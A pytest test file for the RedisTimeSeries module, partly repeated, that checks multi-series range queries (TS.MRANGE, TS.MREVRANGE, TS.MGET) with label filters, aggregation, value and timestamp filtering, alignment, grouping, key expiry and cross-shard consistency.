mode, 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', mode, 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) expected_result = [[start_ts + i, str(5).encode('ascii')] for i in range(samples_count)] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'name=bob') assert [[b'tester1', [], expected_result]] == actual_result expected_result.reverse() actual_result = r.execute_command('TS.mrevrange', start_ts, start_ts + samples_count, 'FILTER', 'name=bob') assert [[b'tester1', [], expected_result]] == actual_result def build_expected(val, time_bucket): return [[int(i - i % time_bucket), str(val).encode('ascii')] for i in range(start_ts, start_ts + samples_count + 1, time_bucket)] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'LAST', 5, 'FILTER', 'generation=x') expected_result = [[b'tester1', [], build_expected(5, 5)], [b'tester2', [], build_expected(15, 5)], [b'tester3', [], build_expected(25, 5)], ] env.assertEqual(sorted(expected_result), sorted(actual_result)) assert expected_result[1:] == sorted(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'LAST', 5, 'FILTER', 'generation=x', 'class!=middle'), key=lambda x:x[0]) actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'COUNT', 3, 'AGGREGATION', 'LAST', 5, 'FILTER', 'generation=x') assert expected_result[0][2][:3] == sorted(actual_result, key=lambda x:x[0])[0][2] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'COUNT', 5, 'FILTER', 'generation=x') assert [[1511885905, b'1']] == actual_result[0][2][:1] assert expected_result[0][2][1:9] == actual_result[0][2][1:9] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'COUNT', 3, 'COUNT', 3, 'FILTER', 'generation=x') assert 3 == len(actual_result[0][2]) # just checking that agg count before count works actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'COUNT', 3, 'AGGREGATION', 'COUNT', 3, 'FILTER', 'generation=x') assert 3 == len(actual_result[0][2]) # just checking that agg count before count works actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'COUNT', 3, 'FILTER', 'generation=x') assert 18 == len(actual_result[0][2]) # just checking that agg count before count works with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'invalid', 3, 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'AVG', 'string', 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'COUNT', 'string', 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', '-', '+' ,'FILTER') # missing args with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', '-', '+', 'RETLIF') # no filter word with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', 'string', start_ts + samples_count, 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, 'string', 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'generation+x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'generation!=x') # issue 414 with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'name=(bob,rudy,)') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'name=(bob,,rudy)') # test SELECTED_LABELS with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'filter', 'k!=5') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'filter', 'k!=5') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'WITHLABELS', 'filter', 'k!=5') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'WITHLABELS', 'SELECTED_LABELS', 'filter', 'k!=5') env.flush() def test_mrange_filterby(): start_ts = 1511885909 samples_count = 50 env = Env() with env.getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', "a", 1 ,'FILTER', 'name=bob') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', "a", "a" ,'FILTER', 'name=bob') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', 1, "a" ,'FILTER', 'name=bob') expected_result = [[b'tester1', [], []], [b'tester2', [], [[start_ts + i, str(15).encode('ascii')] for i in range(samples_count)]], [b'tester3', [], []], ] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', 10, 20,'FILTER', 'generation=x') env.assertEqual(sorted(actual_result), sorted(expected_result)) expected_result = [[b'tester1', [], []], [b'tester2', [], [[start_ts + i, str(15).encode('ascii')] for i in range(9, 12)]], [b'tester3', [], []], ] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_TS', start_ts+9, start_ts+10, start_ts+11, 'FILTER_BY_VALUE', 10, 20,'FILTER', 'generation=x') env.assertEqual(sorted(actual_result), sorted(expected_result)) def test_mrange_withlabels(): start_ts = 1511885909 samples_count = 50 with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) expected_result = [[start_ts + i, str(5).encode('ascii')] for i in range(samples_count)] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'WITHLABELS', 'FILTER', 'name=bob') assert [[b'tester1', [[b'name', b'bob'], [b'class', b'middle'], [b'generation', b'x']], expected_result]] == actual_result actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'name', 'generation', 'FILTER', 'name=bob') assert [[b'tester1', [[b'name', b'bob'], [b'generation', b'x']], expected_result]] == actual_result actual_result = r.execute_command('TS.mrange', start_ts + 1, start_ts + samples_count, 'WITHLABELS', 'AGGREGATION', 'COUNT', 1, 'FILTER', 'generation=x') # assert the labels length is 3 (name,class,generation) for each of the returned time-series try: assert len(actual_result[0][1]) != 3 or len(actual_result[1][1]) != 3 or len(actual_result[2][1]) == 3 except Exception as ex: print(str(actual_result)) res = r.execute_command('TS.INFO', 'tester1') print(str(res)) res = r.execute_command('TS.INFO', 'tester2') print(str(res)) res = r.execute_command('TS.INFO', 'tester3') print(str(res)) raise ex assert len(actual_result[0][1]) == 3 assert len(actual_result[1][1]) == 3 assert len(actual_result[2][1]) == 3 def test_multilabel_filter(): with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') assert r.execute_command('TS.ADD', 'tester1', 0, 1) == 0 assert r.execute_command('TS.ADD', 'tester2', 0, 2) == 0 assert r.execute_command('TS.ADD', 'tester3', 0, 3) == 0 actual_result = r.execute_command('TS.mrange', '-', '+', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)') assert set(item[0] for item in actual_result) == set([b'tester1', b'tester2']) actual_result = r.execute_command('TS.mrange', 0, '+', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)', 'class!=(middle,top)') assert actual_result[0][0] == b'tester2' actual_result = r.execute_command('TS.mget', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)') assert set(item[0] for item in actual_result) == set([b'tester1', b'tester2']) actual_result = r.execute_command('TS.mget', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)', 'class!=(middle,top)') assert actual_result[0][0] == b'tester2' def test_large_key_value_pairs(): with Env().getClusterConnectionIfNeeded() as r: number_series = 100 for i in range(0,number_series): assert r.execute_command('TS.CREATE', 'ts-{}'.format(i), 'LABELS', 'baseAsset', '17049', 'counterAsset', '840', 'source', '1000', 'dataType', 'PRICE_TICK') kv_label1 = 'baseAsset=(13830,10249,16019,10135,17049,10777,10138,11036,11292,15778,11043,10025,11436,12207,13359,10807,12216,11833,10170,10811,12864,12738,10053,11334,12487,12619,12364,13266,11219,15827,12374,11223,10071,12249,11097,14430,13282,16226,13667,11365,12261,12646,12650,12397,12785,13941,10231,16254,12159,15103)' kv_label2 = 'counterAsset=(840)' kv_label3 = 'source=(1000)' kv_label4 = 'dataType=(PRICE_TICK)' kv_labels = [kv_label1, kv_label2, kv_label3, kv_label4] for kv_label in kv_labels: res = r.execute_command('TS.MRANGE', '-', '+', 'FILTER', kv_label1) assert len(res) == number_series def ensure_replies_series_match(env,series_array_1, series_array_2): for ts in series_array_1: ts_name = ts[0] ts_labels =ts[1] ts_values =ts[2] for comparison_ts in series_array_2: comparison_ts_name = comparison_ts[0] comparison_ts_labels =comparison_ts[1] comparison_ts_values =comparison_ts[2] if ts_name == comparison_ts_name: env.assertEqual(ts_labels,comparison_ts_labels) env.assertEqual(ts_values,comparison_ts_values) def test_non_local_data(): env = Env() with env.getClusterConnectionIfNeeded() as r: r.execute_command('TS.ADD', '{host1}_metric_1', 1 ,100, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_2', 2 ,40, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_1', 2, 95) r.execute_command('TS.ADD', '{host1}_metric_1', 10, 99) previous_results = [] # ensure that initiating the query on different shards always replies with the same series for shard in range(0, env.shardsCount): shard_conn = env.getConnection(shard) actual_result = shard_conn.execute_command('TS.MRANGE - + FILTER metric=cpu') env.assertEqual(len(actual_result),2) for previous_result in previous_results: ensure_replies_series_match(env,previous_result,actual_result) previous_results.append(actual_result) def test_non_local_filtered_data(): env = Env() with env.getClusterConnectionIfNeeded() as r: r.execute_command('TS.ADD', '{host1}_metric_1', 1 ,100, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_2', 2 ,40, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_1', 2, 95) r.execute_command('TS.ADD', '{host1}_metric_1', 10, 99) previous_results = [] # ensure that initiating the query on different shards always replies with the same series for shard in range(0, env.shardsCount): shard_conn = env.getConnection(shard) # send undordered timestamps to test for sorting actual_result = shard_conn.execute_command('TS.MRANGE - + FILTER_BY_TS 11 5 25 55 101 18 9 1900 2 FILTER metric=cpu') env.assertEqual(len(actual_result),2) # ensure reply is properly filtered by TS for serie in actual_result: serie_ts = serie[2] # ensure only timestamp 2 is present on reply env.assertEqual(len(serie_ts),1) env.assertEqual(serie_ts[0][0],2) for previous_result in previous_results: ensure_replies_series_match(env,previous_result,actual_result) previous_results.append(actual_result) def test_non_local_filtered_labels(): env = Env() with env.getClusterConnectionIfNeeded() as r: r.execute_command('TS.ADD', '{host1}_metric_1', 1 ,100, 'LABELS', 'metric', 'cpu', '') r.execute_command('TS.ADD', '{host1}_metric_2', 2 ,40, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_1', 2, 95) r.execute_command('TS.ADD', '{host1}_metric_1', 10, 99) previous_results = [] # ensure that initiating the query on different shards always replies with the same series for shard in range(0, env.shardsCount): shard_conn = env.getConnection(shard) actual_result = shard_conn.execute_command('TS.MRANGE - + FILTER_BY_TS 2 SELECTED_LABELS metric FILTER metric=cpu') env.assertEqual(len(actual_result),2) for previous_result in previous_results: ensure_replies_series_match(env,previous_result,actual_result) previous_results.append(actual_result) def test_mrange_align(): start_ts = 1511885909 samples_count = 50 with Env(decodeResponses=True).getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) end_ts = start_ts + samples_count agg_bucket_size = 15 expected_start_result = [ ['tester1', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, start_ts)], ['tester2', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, start_ts)], ['tester3', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, start_ts)], ] expected_end_result = [ ['tester1', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, end_ts)], ['tester2', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, end_ts)], ['tester3', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, end_ts)], ] assert expected_start_result == decode_if_needed(sorted(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '-', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x'))) assert expected_end_result == decode_if_needed(sorted(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '+', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x'))) def groupby(data): result = defaultdict(lambda: 0) for key, labels, samples in data: for sample in samples: result[sample[0]] = max(result[sample[0]], int(sample[1])) return [[s[0], str(s[1])] for s in result.items()] expected_groupby_start_result = [['generation=x', [], groupby(expected_start_result)]] expected_groupby_end_result = [['generation=x', [], groupby(expected_end_result)]] assert expected_groupby_start_result == decode_if_needed(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '-', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x', 'GROUPBY', 'generation', 'REDUCE', 'max')) assert expected_groupby_end_result == decode_if_needed(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '+', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x', 'GROUPBY', 'generation', 'REDUCE', 'max'))

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import pytest import redis import time from collections import defaultdict from utils import Env, set_hertz from test_helper_classes import _insert_data from test_ts_range import build_expected_aligned_data from includes import * def test_mrange_with_expire_cmd(): env = Env() set_hertz(env) with env.getClusterConnectionIfNeeded() as r: assert r.execute_command("TS.ADD", "X" ,"*" ,"1" ,"LABELS", "type", "DELAYED") assert r.execute_command("TS.ADD", "Y" ,"*" ,"1" ,"LABELS", "type", "DELAYED") assert r.execute_command("TS.ADD", "Z" ,"*" ,"1" ,"LABELS", "type", "DELAYED") current_ts = time.time() assert r.execute_command("EXPIRE","X", 5) assert r.execute_command("EXPIRE","Y", 6) assert r.execute_command("EXPIRE","Z", 7) while time.time() < (current_ts+10): reply = r.execute_command('TS.mrange', '-', '+', 'FILTER', 'type=DELAYED') assert(len(reply)>=0 and len(reply)<=3) assert r.execute_command("PING") def test_mrange_expire_issue549(): Env().skipOnDebugger() env = Env() set_hertz(env) with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('ts.add', 'k1', 1, 10, 'LABELS', 'l', '1') == 1 assert r.execute_command('ts.add', 'k2', 2, 20, 'LABELS', 'l', '1') == 2 assert r.execute_command('expire', 'k1', '1') == 1 for i in range(0, 5000): assert env.getConnection().execute_command('ts.mrange - + aggregation avg 10 withlabels filter l=1') is not None def test_range_by_labels(): start_ts = 1511885909 samples_count = 50 for mode in ["UNCOMPRESSED", "COMPRESSED"]: env = Env() with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', mode, 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', mode, 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', mode, 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) expected_result = [[start_ts + i, str(5).encode('ascii')] for i in range(samples_count)] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'name=bob') assert [[b'tester1', [], expected_result]] == actual_result expected_result.reverse() actual_result = r.execute_command('TS.mrevrange', start_ts, start_ts + samples_count, 'FILTER', 'name=bob') assert [[b'tester1', [], expected_result]] == actual_result def build_expected(val, time_bucket): return [[int(i - i % time_bucket), str(val).encode('ascii')] for i in range(start_ts, start_ts + samples_count + 1, time_bucket)] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'LAST', 5, 'FILTER', 'generation=x') expected_result = [[b'tester1', [], build_expected(5, 5)], [b'tester2', [], build_expected(15, 5)], [b'tester3', [], build_expected(25, 5)], ] env.assertEqual(sorted(expected_result), sorted(actual_result)) assert expected_result[1:] == sorted(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'LAST', 5, 'FILTER', 'generation=x', 'class!=middle'), key=lambda x:x[0]) actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'COUNT', 3, 'AGGREGATION', 'LAST', 5, 'FILTER', 'generation=x') assert expected_result[0][2][:3] == sorted(actual_result, key=lambda x:x[0])[0][2] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'COUNT', 5, 'FILTER', 'generation=x') assert [[1511885905, b'1']] == actual_result[0][2][:1] assert expected_result[0][2][1:9] == actual_result[0][2][1:9] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'COUNT', 3, 'COUNT', 3, 'FILTER', 'generation=x') assert 3 == len(actual_result[0][2]) actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'COUNT', 3, 'AGGREGATION', 'COUNT', 3, 'FILTER', 'generation=x') assert 3 == len(actual_result[0][2]) actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'COUNT', 3, 'FILTER', 'generation=x') assert 18 == len(actual_result[0][2]) with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'invalid', 3, 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'AGGREGATION', 'AVG', 'string', 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'COUNT', 'string', 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', '-', '+' ,'FILTER') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', '-', '+', 'RETLIF') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', 'string', start_ts + samples_count, 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, 'string', 'FILTER', 'generation=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'generation+x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'generation!=x') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'name=(bob,rudy,)') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER', 'name=(bob,,rudy)') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'filter', 'k!=5') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'filter', 'k!=5') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'WITHLABELS', 'filter', 'k!=5') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'WITHLABELS', 'SELECTED_LABELS', 'filter', 'k!=5') env.flush() def test_mrange_filterby(): start_ts = 1511885909 samples_count = 50 env = Env() with env.getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', "a", 1 ,'FILTER', 'name=bob') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', "a", "a" ,'FILTER', 'name=bob') with pytest.raises(redis.ResponseError) as excinfo: assert r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', 1, "a" ,'FILTER', 'name=bob') expected_result = [[b'tester1', [], []], [b'tester2', [], [[start_ts + i, str(15).encode('ascii')] for i in range(samples_count)]], [b'tester3', [], []], ] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_VALUE', 10, 20,'FILTER', 'generation=x') env.assertEqual(sorted(actual_result), sorted(expected_result)) expected_result = [[b'tester1', [], []], [b'tester2', [], [[start_ts + i, str(15).encode('ascii')] for i in range(9, 12)]], [b'tester3', [], []], ] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'FILTER_BY_TS', start_ts+9, start_ts+10, start_ts+11, 'FILTER_BY_VALUE', 10, 20,'FILTER', 'generation=x') env.assertEqual(sorted(actual_result), sorted(expected_result)) def test_mrange_withlabels(): start_ts = 1511885909 samples_count = 50 with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) expected_result = [[start_ts + i, str(5).encode('ascii')] for i in range(samples_count)] actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'WITHLABELS', 'FILTER', 'name=bob') assert [[b'tester1', [[b'name', b'bob'], [b'class', b'middle'], [b'generation', b'x']], expected_result]] == actual_result actual_result = r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'SELECTED_LABELS', 'name', 'generation', 'FILTER', 'name=bob') assert [[b'tester1', [[b'name', b'bob'], [b'generation', b'x']], expected_result]] == actual_result actual_result = r.execute_command('TS.mrange', start_ts + 1, start_ts + samples_count, 'WITHLABELS', 'AGGREGATION', 'COUNT', 1, 'FILTER', 'generation=x') try: assert len(actual_result[0][1]) != 3 or len(actual_result[1][1]) != 3 or len(actual_result[2][1]) == 3 except Exception as ex: print(str(actual_result)) res = r.execute_command('TS.INFO', 'tester1') print(str(res)) res = r.execute_command('TS.INFO', 'tester2') print(str(res)) res = r.execute_command('TS.INFO', 'tester3') print(str(res)) raise ex assert len(actual_result[0][1]) == 3 assert len(actual_result[1][1]) == 3 assert len(actual_result[2][1]) == 3 def test_multilabel_filter(): with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') assert r.execute_command('TS.ADD', 'tester1', 0, 1) == 0 assert r.execute_command('TS.ADD', 'tester2', 0, 2) == 0 assert r.execute_command('TS.ADD', 'tester3', 0, 3) == 0 actual_result = r.execute_command('TS.mrange', '-', '+', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)') assert set(item[0] for item in actual_result) == set([b'tester1', b'tester2']) actual_result = r.execute_command('TS.mrange', 0, '+', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)', 'class!=(middle,top)') assert actual_result[0][0] == b'tester2' actual_result = r.execute_command('TS.mget', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)') assert set(item[0] for item in actual_result) == set([b'tester1', b'tester2']) actual_result = r.execute_command('TS.mget', 'WITHLABELS', 'FILTER', 'name=(bob,rudy)', 'class!=(middle,top)') assert actual_result[0][0] == b'tester2' def test_large_key_value_pairs(): with Env().getClusterConnectionIfNeeded() as r: number_series = 100 for i in range(0,number_series): assert r.execute_command('TS.CREATE', 'ts-{}'.format(i), 'LABELS', 'baseAsset', '17049', 'counterAsset', '840', 'source', '1000', 'dataType', 'PRICE_TICK') kv_label1 = 'baseAsset=(13830,10249,16019,10135,17049,10777,10138,11036,11292,15778,11043,10025,11436,12207,13359,10807,12216,11833,10170,10811,12864,12738,10053,11334,12487,12619,12364,13266,11219,15827,12374,11223,10071,12249,11097,14430,13282,16226,13667,11365,12261,12646,12650,12397,12785,13941,10231,16254,12159,15103)' kv_label2 = 'counterAsset=(840)' kv_label3 = 'source=(1000)' kv_label4 = 'dataType=(PRICE_TICK)' kv_labels = [kv_label1, kv_label2, kv_label3, kv_label4] for kv_label in kv_labels: res = r.execute_command('TS.MRANGE', '-', '+', 'FILTER', kv_label1) assert len(res) == number_series def ensure_replies_series_match(env,series_array_1, series_array_2): for ts in series_array_1: ts_name = ts[0] ts_labels =ts[1] ts_values =ts[2] for comparison_ts in series_array_2: comparison_ts_name = comparison_ts[0] comparison_ts_labels =comparison_ts[1] comparison_ts_values =comparison_ts[2] if ts_name == comparison_ts_name: env.assertEqual(ts_labels,comparison_ts_labels) env.assertEqual(ts_values,comparison_ts_values) def test_non_local_data(): env = Env() with env.getClusterConnectionIfNeeded() as r: r.execute_command('TS.ADD', '{host1}_metric_1', 1 ,100, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_2', 2 ,40, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_1', 2, 95) r.execute_command('TS.ADD', '{host1}_metric_1', 10, 99) previous_results = [] for shard in range(0, env.shardsCount): shard_conn = env.getConnection(shard) actual_result = shard_conn.execute_command('TS.MRANGE - + FILTER metric=cpu') env.assertEqual(len(actual_result),2) for previous_result in previous_results: ensure_replies_series_match(env,previous_result,actual_result) previous_results.append(actual_result) def test_non_local_filtered_data(): env = Env() with env.getClusterConnectionIfNeeded() as r: r.execute_command('TS.ADD', '{host1}_metric_1', 1 ,100, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_2', 2 ,40, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_1', 2, 95) r.execute_command('TS.ADD', '{host1}_metric_1', 10, 99) previous_results = [] for shard in range(0, env.shardsCount): shard_conn = env.getConnection(shard) actual_result = shard_conn.execute_command('TS.MRANGE - + FILTER_BY_TS 11 5 25 55 101 18 9 1900 2 FILTER metric=cpu') env.assertEqual(len(actual_result),2) for serie in actual_result: serie_ts = serie[2] env.assertEqual(len(serie_ts),1) 